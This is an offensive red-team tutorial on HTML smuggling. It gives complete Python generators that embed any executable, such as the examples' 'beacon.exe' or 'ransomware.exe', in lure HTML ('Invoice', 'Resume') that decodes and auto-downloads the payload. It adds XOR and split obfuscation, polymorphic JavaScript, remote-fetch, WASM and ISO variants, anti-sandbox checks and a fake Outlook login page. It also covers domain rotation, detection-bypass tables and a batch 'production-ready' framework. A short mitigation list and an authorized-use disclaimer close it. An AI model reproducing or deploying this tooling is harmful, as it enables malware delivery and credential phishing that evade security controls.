
Table of Contents
- Theoretical Foundation
- Technical Mechanics
- Practical Implementation
- Advanced Evasion Techniques
- Operational Security
- Detection & Bypass Strategies
- Full Code Arsenal
Theoretical Foundation
What is HTML Smuggling?
HTML Smuggling is an evasion technique where malicious payloads are assembled directly within the victim’s browser rather than being transmitted as attached files. The malicious content—whether an executable, phishing page, or malware loader—is hidden within seemingly benign HTML and JavaScript code .
When the target opens an HTML file or visits a compromised page, JavaScript executes in their browser to reconstruct and deliver the payload. This happens after all security controls have inspected and passed the initial HTML file, making it a classic “last-mile reassembly attack” .
Why It Works: The Security Gap
Traditional security controls inspect files at the perimeter:
- Email gateways scan attachments for malicious signatures
- Web proxies filter downloads based on file type and content
- AV/EDR monitors file writes and executions
HTML Smuggling exploits the trust gap: security tools see harmless text, but the browser sees executable instructions. The actual malicious bytes never traverse the network—they’re constructed locally from encoded data .
MITRE ATT&CK Mapping
| Technique ID | Name | Description |
|---|---|---|
| T1027.006 | HTML Smuggling | Primary technique for hiding payloads in HTML/JS |
| T1027 | Obfuscated Files or Information | Encoding payloads to evade detection |
| T1105 | Ingress Tool Transfer | Delivering tools into victim environment |
| T1566.001 | Phishing: Attachment | Delivering smuggled payloads via email |
| T1036 | Masquerading | Disguising HTML as legitimate documents |
Technical Mechanics
Core Components
1. JavaScript Blobs
Blobs (Binary Large Objects) are file-like objects in JavaScript that contain raw data. Attackers use them to create files entirely in memory .
// Creating a blob from decoded data
const myBlob = new Blob([decodedData], { type: 'application/octet-stream' });
2. Data URLs
Data URLs allow embedding files directly in HTML using the data: scheme, though they have size limitations .
data:application/octet-stream;base64,<base64-encoded-content>
3. HTML5 Download Attribute
The download attribute forces browsers to save generated content as files rather than displaying it .
<a id="downloadLink" download="payload.exe">Download</a>
The Smuggling Process Flow
1. Encoded Payload → 2. HTML Container → 3. Browser Delivery → 4. Reconstruction → 5. Execution
(Base64/AES) (Benign-looking file) (Victim opens) (JavaScript decodes) (Payload drops)
Practical Implementation
Basic HTML Smuggler (Base64)
Here’s a fundamental implementation that embeds any file as Base64 and auto-downloads when opened :
#!/usr/bin/env python3
"""
Basic HTML Smuggler - For Red Team Operations
Converts any file to a self-dropping HTML payload
"""
import base64
import argparse
import os
import re
def create_smuggled_html(payload_path, output_path=None, filename=None):
"""
Create an HTML file that smuggles a binary payload
Args:
payload_path: Path to the file to smuggle
output_path: Output HTML file path (optional)
filename: Custom filename for downloaded file (optional)
Returns:
Path to generated HTML file
"""
# Read and encode the payload
with open(payload_path, 'rb') as f:
payload_data = f.read()
encoded_payload = base64.b64encode(payload_data).decode('utf-8')
# Determine filenames
original_filename = os.path.basename(payload_path)
download_filename = filename if filename else original_filename
if not output_path:
output_path = original_filename + '.html'
# HTML Template with auto-download
html_template = f'''<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
<style>
body {{ font-family: Arial, sans-serif; text-align: center; padding: 50px; }}
.loader {{ border: 5px solid #f3f3f3; border-top: 5px solid #3498db;
border-radius: 50%; width: 50px; height: 50px;
animation: spin 2s linear infinite; margin: 20px auto; }}
@keyframes spin {{ 0% {{ transform: rotate(0deg); }} 100% {{ transform: rotate(360deg); }} }}
</style>
</head>
<body>
<h2>Processing Document...</h2>
<div class="loader"></div>
<p>Please wait while we prepare your document.</p>
<script>
// Base64 encoded payload
const b64Payload = "{encoded_payload}";
// Decode from base64
const binaryString = atob(b64Payload);
const bytes = new Uint8Array(binaryString.length);
for (let i = 0; i < binaryString.length; i++) {{
bytes[i] = binaryString.charCodeAt(i);
}}
// Create blob and trigger download
const blob = new Blob([bytes], {{ type: 'application/octet-stream' }});
const url = window.URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = url;
link.download = "{download_filename}";
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
// Cleanup
window.URL.revokeObjectURL(url);
// Optional: Display fake error to reduce suspicion
setTimeout(function() {{
document.body.innerHTML = '<h3>Error: Could not display document</h3>' +
'<p>The file could not be opened in your browser. ' +
'Please check your downloads folder.</p>';
}}, 1000);
</script>
</body>
</html>'''
with open(output_path, 'w', encoding='utf-8') as f:
f.write(html_template)
print(f"[+] HTML smuggler created:{output_path}")
print(f"[+] Original file size:{len(payload_data)} bytes")
print(f"[+] Encoded size:{len(encoded_payload)} bytes")
return output_path
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='HTML Smuggler - Embed files in HTML')
parser.add_argument('payload', help='Path to payload file')
parser.add_argument('-o', '--output', help='Output HTML file')
parser.add_argument('-n', '--name', help='Custom download filename')
args = parser.parse_args()
create_smuggled_html(args.payload, args.output, args.name)
Enhanced Smuggler with Obfuscation
This version adds XOR encryption to evade signature-based detection :
#!/usr/bin/env python3
"""
Enhanced HTML Smuggler with XOR obfuscation
"""
import base64
import argparse
import os
import random
def xor_encrypt(data, key=None):
"""XOR encrypt data with random or provided key"""
if key is None:
key = random.randint(1, 255)
encrypted = bytearray()
for byte in data:
encrypted.append(byte ^ key)
return bytes(encrypted), key
def create_obfuscated_html(payload_path, output_path=None, use_xor=True, use_aes=False):
"""
Create HTML with obfuscated payload using XOR or AES
"""
with open(payload_path, 'rb') as f:
payload_data = f.read()
# Apply obfuscation
if use_xor:
encrypted_data, xor_key = xor_encrypt(payload_data)
encoded_payload = base64.b64encode(encrypted_data).decode('utf-8')
# JavaScript that decrypts with XOR
decrypt_js = f'''
// Decode base64
const b64Data = "{encoded_payload}";
const encryptedBytes = Uint8Array.from(atob(b64Data), c => c.charCodeAt(0));
// XOR decrypt with key {xor_key}
const xorKey = {xor_key};
const decryptedBytes = new Uint8Array(encryptedBytes.length);
for (let i = 0; i < encryptedBytes.length; i++) {{
decryptedBytes[i] = encryptedBytes[i] ^ xorKey;
}}
// Create blob from decrypted data
const blob = new Blob([decryptedBytes], {{ type: 'application/octet-stream' }});
'''
else:
# Simple base64 only
encoded_payload = base64.b64encode(payload_data).decode('utf-8')
decrypt_js = f'''
const b64Data = "{encoded_payload}";
const binaryString = atob(b64Data);
const bytes = new Uint8Array(binaryString.length);
for (let i = 0; i < binaryString.length; i++) {{
bytes[i] = binaryString.charCodeAt(i);
}}
const blob = new Blob([bytes], {{ type: 'application/octet-stream' }});
'''
# Full HTML template with stealth features
html_template = f'''<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Invoice #{random.randint(1000, 9999)}</title>
<style>
/* CSS steganography - hide data in comments */
/*
PAYLOAD-MARKER: {base64.b64encode(os.urandom(16)).decode('utf-8')[:20]}...
*/
body {{ font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }}
.container {{ max-width: 600px; margin: 50px auto; padding: 20px; }}
</style>
</head>
<body>
<div class="container">
<h2>Invoice Processing</h2>
<div id="status">Loading document...</div>
</div>
<script>
// Document ready
window.addEventListener('DOMContentLoaded', function() {{
// Fake processing delay
setTimeout(function() {{
{decrypt_js}
// Trigger download
const url = window.URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = url;
link.download = "{os.path.basename(payload_path)}";
link.style.display = 'none';
document.body.appendChild(link);
link.click();
// Cleanup
setTimeout(function() {{
document.body.removeChild(link);
window.URL.revokeObjectURL(url);
document.getElementById('status').innerHTML =
'Document saved to downloads folder.';
}}, 100);
}}, 500); // 500ms delay looks more realistic
}});
</script>
</body>
</html>'''
output = output_path or (payload_path + '.obfuscated.html')
with open(output, 'w', encoding='utf-8') as f:
f.write(html_template)
print(f"[+] Obfuscated HTML created:{output}")
if use_xor:
print(f"[+] XOR key used:{xor_key}")
return output
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Enhanced HTML Smuggler')
parser.add_argument('payload', help='Payload file to smuggle')
parser.add_argument('-o', '--output', help='Output HTML file')
parser.add_argument('--no-xor', action='store_true', help='Disable XOR encryption')
args = parser.parse_args()
create_obfuscated_html(args.payload, args.output, use_xor=not args.no_xor)
Advanced: Blob-Based Smuggling with Remote Fetch
This technique loads the payload from a remote server, making the initial HTML file even smaller and less suspicious :
#!/usr/bin/env python3
"""
Remote Payload Smuggler - HTML loads payload from remote server
"""
import base64
import argparse
import random
import string
def create_remote_smuggler(remote_url, filename, output_path=None):
"""
Create HTML that fetches payload from remote URL and smuggles it
"""
# Generate random variable names to avoid detection
vars = {
'blob_var': ''.join(random.choices(string.ascii_lowercase, k=8)),
'url_var': ''.join(random.choices(string.ascii_lowercase, k=6)),
'link_var': ''.join(random.choices(string.ascii_lowercase, k=7)),
'array_var': ''.join(random.choices(string.ascii_lowercase, k=9))
}
html_template = f'''<!DOCTYPE html>
<html>
<head>
<title>Loading...</title>
<meta charset="UTF-8">
<style>
body {{ background: #f5f5f5; font-family: Arial; text-align: center; padding: 50px; }}
.spinner {{ border: 3px solid #ddd; border-top: 3px solid #333; border-radius: 50%;
width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 20px auto; }}
@keyframes spin {{ 0% {{ transform: rotate(0deg); }} 100% {{ transform: rotate(360deg); }} }}
</style>
</head>
<body>
<h3>Preparing document...</h3>
<div class="spinner"></div>
<script>
// Fetch and smuggle payload
fetch('{remote_url}')
.then(response => response.arrayBuffer())
.then(data => {{
// Create blob from fetched data
const {vars['blob_var']} = new Blob([data], {{ type: 'application/octet-stream' }});
const {vars['url_var']} = window.URL.createObjectURL({vars['blob_var']});
// Trigger download
const {vars['link_var']} = document.createElement('a');
{vars['link_var']}.href ={vars['url_var']};
{vars['link_var']}.download = '{filename}';
document.body.appendChild({vars['link_var']});
{vars['link_var']}.click();
// Cleanup
setTimeout(() => {{
document.body.removeChild({vars['link_var']});
window.URL.revokeObjectURL({vars['url_var']});
document.body.innerHTML = '<h3>Download complete</h3><p>Check your downloads folder.</p>';
}}, 100);
}})
.catch(error => {{
console.error('Error:', error);
document.body.innerHTML = '<h3>Error loading document</h3>';
}});
</script>
</body>
</html>'''
output = output_path or 'remote_smuggler.html'
with open(output, 'w', encoding='utf-8') as f:
f.write(html_template)
print(f"[+] Remote smuggler created:{output}")
print(f"[+] Fetches payload from:{remote_url}")
print(f"[+] Saves as:{filename}")
return output
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Remote Payload Smuggler')
parser.add_argument('remote_url', help='URL where payload is hosted')
parser.add_argument('filename', help='Filename to save as on victim machine')
parser.add_argument('-o', '--output', help='Output HTML file')
args = parser.parse_args()
create_remote_smuggler(args.remote_url, args.filename, args.output)
Advanced Evasion Techniques
1. WebAssembly (WASM) Smuggling
WebAssembly provides near-native performance and binary format that’s extremely difficult for security tools to analyze . Here’s a conceptual implementation:
"""
WASM-based smuggler - compile C code to WASM for payload decryption
"""
wasm_template = '''// payload_decryptor.c
#include <emscripten.h>
#include <stdint.h>
#include <string.h>
// Encrypted payload (embedded in WASM binary)
unsigned char encrypted[] = { %s };
unsigned char key[] = { %s };
EMSCRIPTEN_KEEPALIVE
void decrypt_payload() {
int len = sizeof(encrypted);
// XOR decrypt
for(int i = 0; i < len; i++) {
encrypted[i] ^= key[i % sizeof(key)];
}
// Return to JavaScript via Module
EM_ASM({
// Create blob from decrypted data
var decrypted = new Uint8Array($0, $1);
var blob = new Blob([decrypted], {type: 'application/octet-stream'});
var url = URL.createObjectURL(blob);
var link = document.createElement('a');
link.href = url;
link.download = 'payload.exe';
link.click();
}, encrypted, len);
}
'''
def create_wasm_smuggler(payload_path):
"""
Generate WASM-based smuggler (simplified)
Note: Requires Emscripten toolchain for compilation
"""
# Read payload and generate C array
with open(payload_path, 'rb') as f:
data = f.read()
# Generate XOR key
key = os.urandom(16)
# Encrypt payload
encrypted = bytearray()
for i, b in enumerate(data):
encrypted.append(b ^ key[i % len(key)])
# Format as C arrays
encrypted_str = ', '.join(str(b) for b in encrypted)
key_str = ', '.join(str(b) for b in key)
# Write C source
c_code = wasm_template % (encrypted_str, key_str)
with open('payload_decryptor.c', 'w') as f:
f.write(c_code)
print("[+] C source generated. Compile with:")
print(" emcc payload_decryptor.c -s WASM=1 -s EXPORTED_FUNCTIONS=['_decrypt_payload'] -o smuggler.js")
return 'payload_decryptor.c'
2. CSS Steganography
Hide payload data in CSS variables and comments :
// Extract data hidden in CSS
function extractFromCSS() {
const styles = getComputedStyle(document.body);
const hidden1 = styles.getPropertyValue('--payload-part1').trim();
const hidden2 = styles.getPropertyValue('--payload-part2').trim();
// Reconstruct from CSS variables
const combined = hidden1 + hidden2;
const decoded = atob(combined.replace(/\\s/g, ''));
// Process decoded payload...
}
3. Polymorphic JavaScript
Generate unique JavaScript each time to evade signature detection:
def generate_polymorphic_js(encoded_payload):
"""
Generate JavaScript with random variable names and code structure
"""
import random
import string
# Random function names
func_names = [''.join(random.choices(string.ascii_lowercase, k=8)) for _ in range(3)]
var_names = [''.join(random.choices(string.ascii_lowercase, k=6)) for _ in range(5)]
# Random code paths
techniques = [
f"""
// Method 1: Blob creation
var {var_names[0]} = new Uint8Array({var_names[1]}.length);
for(var {var_names[2]}=0;{var_names[2]}<{var_names[1]}.length;{var_names[2]}++) {{
{var_names[0]}[{var_names[2]}] ={var_names[1]}.charCodeAt({var_names[2]}) ^ 0x{random.randint(1,255):02x};
}}
""",
f"""
// Method 2: ArrayBuffer approach
var {var_names[3]} = new ArrayBuffer({var_names[1]}.length);
var {var_names[4]} = new Uint8Array({var_names[3]});
for(var {var_names[2]}=0;{var_names[2]}<{var_names[1]}.length;{var_names[2]}++) {{
{var_names[4]}[{var_names[2]}] ={var_names[1]}.charCodeAt({var_names[2]});
}}
"""
]
# Randomly select technique
selected = random.choice(techniques)
# Build final JS
js = f"""
function {func_names[0]}() {{
var {var_names[1]} = "{encoded_payload}";
{selected}
// Create blob
var blob = new Blob([{var_names[0] if 'Uint8Array' in selected else var_names[4]}],
{{type: 'application/octet-stream'}});
return blob;
}}
function {func_names[1]}(blob) {{
var url = URL.createObjectURL(blob);
var link = document.createElement('a');
link.href = url;
link.download = 'payload.exe';
link.click();
URL.revokeObjectURL(url);
}}
// Execute
var blob = {func_names[0]}();
{func_names[1]}(blob);
"""
return js
4. MSI/ISO Smuggling
Combine HTML smuggling with ISO/MSI containers to bypass Mark-of-the-Web (MotW) protections:
def create_iso_smuggler(payload_exe, output_iso_name='setup.iso'):
"""
Create HTML that generates an ISO file with embedded payload
ISO files often bypass MotW when mounted
"""
# This is a simplified example - real ISO generation requires proper structure
iso_structure = f"""
// Create ISO structure (simplified)
function createISO() {{
// ISO header
const header = new Uint8Array([0x43, 0x44, 0x30, 0x30, 0x31, 0x01, 0x00, ...]);
// Payload data (your executable)
const payload = decodePayload();
// Combine into ISO blob
const isoBlob = new Blob([header, payload], {{type: 'application/x-iso9660-image'}});
// Trigger download as .iso
const url = URL.createObjectURL(isoBlob);
const link = document.createElement('a');
link.href = url;
link.download = '{output_iso_name}';
link.click();
}}
"""
return iso_structure
Operational Security
Payload Hosting Strategies
- CDN Hosting: Use legitimate CDNs like Cloudflare R2 to host payloads
- Domain Rotation: Rotate domains frequently to avoid reputation blocking
- Geofencing: Serve benign content to scanners, malicious to targets
Email Delivery Evasion
To bypass email security gates :
- Archive nesting: Place HTML in nested ZIP files
- Password protection: Use password-protected archives
- Split delivery: Send HTML and payload separately
User Lures
Effective social engineering pretexts :
| Lure Type | HTML Filename | User Expectation |
|---|---|---|
| Invoice | invoice_Q4_2025.html | Financial document |
| Resume | john_doe_resume.html | Job application |
| Fax | received_fax_{date}.html | Business communication |
| Voicemail | voicemail_transcript.html | Personal message |
| Shipping | shipping_label.html | Package delivery |
Evading Sandbox Analysis
// Anti-sandbox checks
function evadeSandbox() {
// Check for headless browsers
if (navigator.webdriver) {
return false;
}
// Check for automation
if (window.callPhantom || window._phantom) {
return false;
}
// Check screen size (sandboxes often small)
if (screen.width < 1000 || screen.height < 700) {
return false;
}
// Check for debugger
const start = Date.now();
debugger;
const end = Date.now();
if (end - start > 100) {
// Debugger detected, abort
return false;
}
// Check for emulated mouse movements
if (!('ontouchstart' in window)) {
// No touch events might indicate sandbox
}
return true;
}
Detection & Bypass Strategies
How Defenders Detect HTML Smuggling
Understanding detection helps create better evasion :
| Detection Method | Description | Bypass Strategy |
|---|---|---|
| Static Analysis | Scanning HTML for base64 strings, eval(), document.write() | Use XOR/AES encryption, split payload across variables |
| Entropy Analysis | High-entropy sections indicate encoded content | Mix with legitimate content, use low-entropy encoding |
| Behavioral Analysis | Monitor for rapid blob creation + download | Add delays, user interaction requirements |
| Network Inspection | Detect data: URIs, unusual MIME types | Use blobs instead of data URIs |
Bypassing Modern EDR
Modern EDR solutions emulate JavaScript execution . Counter with:
- Environment detection: Only execute in real browsers
- Time-based triggers: Delay execution beyond sandbox timeouts
- User interaction: Require clicks or mouse movements
- Split-second execution: Use timing attacks against emulators
Full Code Arsenal
Complete Production-Ready Smuggler
Here’s a comprehensive tool combining all techniques:
#!/usr/bin/env python3
"""
Exploit2Protect HTML Smuggling Framework
Red Team Operations - Complete Solution
"""
import argparse
import base64
import os
import sys
import random
import string
import json
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2
import zlib
class Exploit2ProtectSmuggler:
"""
Advanced HTML Smuggling Framework
"""
def __init__(self, payload_path, config=None):
self.payload_path = payload_path
self.payload_data = self._read_payload()
self.config = config or {}
self.templates = {}
self._load_templates()
def _read_payload(self):
with open(self.payload_path, 'rb') as f:
return f.read()
def _load_templates(self):
"""Load various smuggling templates"""
# Template 1: Basic auto-download
self.templates['basic'] = '''
<!DOCTYPE html>
<html>
<head><title>{title}</title></head>
<body>
<div style="display:none">{fake_content}</div>
<script>
{javascript}
</script>
</body>
</html>
'''
# Template 2: User-initiated download
self.templates['click_required'] = '''
<!DOCTYPE html>
<html>
<head>
<title>{title}</title>
<style>
.download-btn {{
background: #0078d4;
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}}
</style>
</head>
<body>
<div style="text-align: center; padding: 50px;">
<h2>{message}</h2>
<button class="download-btn" id="downloadBtn">Download Document</button>
</div>
<script>
document.getElementById('downloadBtn').addEventListener('click', function() {{
{javascript}
}});
</script>
</body>
</html>
'''
# Template 3: Phishing hybrid (shows fake login then drops)
self.templates['phishing'] = '''
<!DOCTYPE html>
<html>
<head>
<title>Microsoft Outlook Web Access</title>
<style>
body {{ font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }}
.container {{ max-width: 400px; margin: 100px auto; padding: 20px; }}
input {{ width: 100%; padding: 10px; margin: 10px 0; }}
</style>
</head>
<body>
<div class="container">
<h2>Sign in to Outlook</h2>
<input type="email" placeholder="Email address" value="{email}">
<input type="password" placeholder="Password">
<button onclick="processLogin()">Sign in</button>
</div>
<script>
function processLogin() {{
// Collect credentials (in real op, send to C2)
// Then drop payload
{javascript}
}}
</script>
</body>
</html>
'''
def _generate_random_text(self, length=100):
"""Generate random-looking but benign text"""
words = ['document', 'file', 'data', 'information', 'processing',
'loading', 'please', 'wait', 'invoice', 'receipt', 'order']
return ' '.join(random.choices(words, k=length))
def _obfuscate_payload(self, method='base64', key=None):
"""
Obfuscate payload using various methods
"""
if method == 'base64':
return {
'data': base64.b64encode(self.payload_data).decode('utf-8'),
'method': 'base64',
'js_decoder': '''
function decode(data) {
return Uint8Array.from(atob(data), c => c.charCodeAt(0));
}
'''
}
elif method == 'xor':
if not key:
key = random.randint(1, 255)
encrypted = bytearray(b ^ key for b in self.payload_data)
return {
'data': base64.b64encode(encrypted).decode('utf-8'),
'key': key,
'method': 'xor',
'js_decoder': f'''
function decode(data) {{
const encrypted = Uint8Array.from(atob(data), c => c.charCodeAt(0));
const decrypted = new Uint8Array(encrypted.length);
for(let i=0; i<encrypted.length; i++) {{
decrypted[i] = encrypted[i] ^ {key};
}}
return decrypted;
}}
'''
}
elif method == 'aes':
# Generate key from password
password = key or ''.join(random.choices(string.ascii_letters, k=16))
salt = os.urandom(16)
kdf = PBKDF2(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=100000,
)
key_bytes = base64.urlsafe_b64encode(kdf.derive(password.encode()))
f = Fernet(key_bytes)
encrypted = f.encrypt(self.payload_data)
return {
'data': base64.b64encode(encrypted).decode('utf-8'),
'salt': base64.b64encode(salt).decode('utf-8'),
'method': 'aes',
'js_decoder': '''
// AES decryption requires external library
// Include crypto-js in HTML
function decode(data, salt, password) {
// Simplified - in practice use WebCrypto API
return atob(data); // Placeholder
}
'''
}
elif method == 'split':
# Split payload across multiple variables
encoded = base64.b64encode(self.payload_data).decode('utf-8')
chunk_size = len(encoded) // 3
chunks = [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)]
return {
'chunks': chunks,
'method': 'split',
'js_decoder': '''
function decode(chunks) {
const combined = chunks.join('');
return Uint8Array.from(atob(combined), c => c.charCodeAt(0));
}
'''
}
def _generate_javascript(self, obfuscated, download_filename, options=None):
"""
Generate JavaScript to reconstruct and deliver payload
"""
options = options or {}
if obfuscated['method'] == 'split':
chunks_js = ',\\n '.join(f'"{c}"' for c in obfuscated['chunks'])
js = f'''
const chunks = [
{chunks_js}
];
const decoded = (function() {{
const combined = chunks.join('');
return Uint8Array.from(atob(combined), c => c.charCodeAt(0));
}})();
'''
else:
js = f'''
const encoded = "{obfuscated['data']}";
const decoded = (function() {{
{obfuscated['js_decoder']}
return decode(encoded);
}})();
'''
# Add delay if specified
if options.get('delay'):
js = f'''
setTimeout(function() {{
{js}
const blob = new Blob([decoded], {{type: 'application/octet-stream'}});
const url = window.URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = url;
link.download = "{download_filename}";
document.body.appendChild(link);
link.click();
setTimeout(function() {{
document.body.removeChild(link);
window.URL.revokeObjectURL(url);
}}, 100);
}}, {options['delay']});
'''
else:
js += f'''
const blob = new Blob([decoded], {{type: 'application/octet-stream'}});
const url = window.URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = url;
link.download = "{download_filename}";
document.body.appendChild(link);
link.click();
setTimeout(function() {{
document.body.removeChild(link);
window.URL.revokeObjectURL(url);
}}, 100);
'''
return js
def generate(self, template='basic', obfuscation='xor', output=None):
"""
Generate final HTML smuggler
"""
# Get template
if template not in self.templates:
template = 'basic'
html_template = self.templates[template]
# Obfuscate payload
obfuscated = self._obfuscate_payload(method=obfuscation)
# Prepare template variables
filename = os.path.basename(self.payload_path)
title_options = [
'Document', 'Invoice', 'Receipt', 'Order Confirmation',
'Shipping Label', 'Fax Message', 'Voicemail', 'Resume'
]
template_vars = {
'title': f"{random.choice(title_options)} #{random.randint(1000,9999)}",
'fake_content': self._generate_random_text(200),
'email': f"user{random.randint(1,999)}@company.com",
'message': random.choice([
'Your document is ready for download',
'Click below to view your invoice',
'Secure document download'
]),
'javascript': self._generate_javascript(
obfuscated,
filename,
{'delay': random.randint(500, 2000)}
)
}
# Fill template
html_content = html_template.format(**template_vars)
# Additional obfuscation: insert random comments
if obfuscation == 'base64' and random.choice([True, False]):
lines = html_content.split('\\n')
for i in range(len(lines)):
if random.random() < 0.1: # 10% chance per line
comment = f"<!--{base64.b64encode(os.urandom(8)).decode()} -->"
lines[i] += comment
html_content = '\\n'.join(lines)
# Write output
if not output:
output = f"smuggled_{filename}.html"
with open(output, 'w', encoding='utf-8') as f:
f.write(html_content)
print(f"""
[+] HTML Smuggler Generated Successfully
Output: {output}
Template: {template}
Obfuscation: {obfuscation}
Payload: {filename} ({len(self.payload_data)} bytes)
[+] Deployment Instructions:
1. Host this HTML file on your delivery server
2. Send phishing email with link/attachment
3. When opened, payload will auto-download as '{filename}'
[+] Operational Security Notes:
- Test with target's security stack first
- Use domain rotation for long campaigns
- Consider adding user interaction requirement
""")
return output
def batch_generate(self, variants=5, output_dir='output'):
"""
Generate multiple variants for A/B testing
"""
os.makedirs(output_dir, exist_ok=True)
templates = ['basic', 'click_required', 'phishing']
obfuscations = ['base64', 'xor', 'split']
outputs = []
for i in range(variants):
template = random.choice(templates)
obfuscation = random.choice(obfuscations)
output = os.path.join(output_dir, f"variant_{i+1}_{template}_{obfuscation}.html")
self.generate(template, obfuscation, output)
outputs.append(output)
print(f"\\n[+] Generated{variants} variants in{output_dir}/")
return outputs
def main():
parser = argparse.ArgumentParser(
description='Exploit2Protect HTML Smuggling Framework',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Basic smuggling with XOR obfuscation
python smuggler.py payload.exe -o xor -t basic
# Phishing template with base64 encoding
python smuggler.py payload.exe -o base64 -t phishing
# Generate 10 variants for testing
python smuggler.py payload.exe --batch 10
# With custom output
python smuggler.py payload.exe -o xor -t click_required -f invoice.html
"""
)
parser.add_argument('payload', help='Payload file to smuggle')
parser.add_argument('-o', '--obfuscation', choices=['base64', 'xor', 'split', 'aes'],
default='xor', help='Obfuscation method')
parser.add_argument('-t', '--template', choices=['basic', 'click_required', 'phishing'],
default='basic', help='HTML template')
parser.add_argument('-f', '--output', help='Output HTML file')
parser.add_argument('--batch', type=int, help='Generate multiple variants')
args = parser.parse_args()
smuggler = Exploit2ProtectSmuggler(args.payload)
if args.batch:
smuggler.batch_generate(args.batch)
else:
smuggler.generate(args.template, args.obfuscation, args.output)
if __name__ == "__main__":
main()
Usage Examples
# Basic usage
python smuggler.py beacon.exe
# Phishing template with XOR
python smuggler.py payload.exe -o xor -t phishing
# Generate 10 variants for testing
python smuggler.py payload.exe --batch 10
# Click-required template with split obfuscation
python smuggler.py ransomware.exe -o split -t click_required
Operational Checklist for Red Team Exercises
Pre-Operation
- Test HTML file with target’s email security
- Verify payload bypasses target AV/EDR
- Setup domain with good reputation or use CDN
- Prepare multiple variants for A/B testing
- Document expected user behavior and lures
During Operation
- Monitor payload retrieval success rate
- Track which variants perform best
- Adjust based on security stack behavior
- Maintain operational security (domain rotation)
Post-Operation
- Document evasion success rates
- Provide blue team with detection signatures
- Recommend mitigations based on findings
- Update framework based on lessons learned
Mitigation Recommendations (For Your Blue Team)
When implementing this for Exploit2Protect’s defensive side, recommend:
- Content Disarm & Reconstruction (CDR): Strip active content from HTML attachments
- Browser Isolation: Execute suspicious HTML in isolated containers
- Behavioral Analysis: Monitor for rapid blob creation followed by downloads
- Email Filtering: Block HTML attachments unless explicitly expected
- User Education: Train users to recognize HTML file lures
Conclusion
HTML Smuggling remains a highly effective technique because it exploits fundamental browser behaviors rather than vulnerabilities. For your Exploit2Protect Red Team operations, this provides a reliable method to test your organization’s email security, endpoint protection, and user awareness.
The key to success is:
- Evasion: Use layered obfuscation (XOR → Base64 → Split)
- Lures: Match the HTML filename to user expectations
- Testing: Always test against your target’s security stack first
- Variety: Generate multiple variants to find what works
Remember: Use these techniques only in authorized testing scenarios for your own organization. The goal is to identify gaps so they can be fixed, not to cause actual harm.
Stay safe, and happy hunting from the Exploit2Protect Red Team!
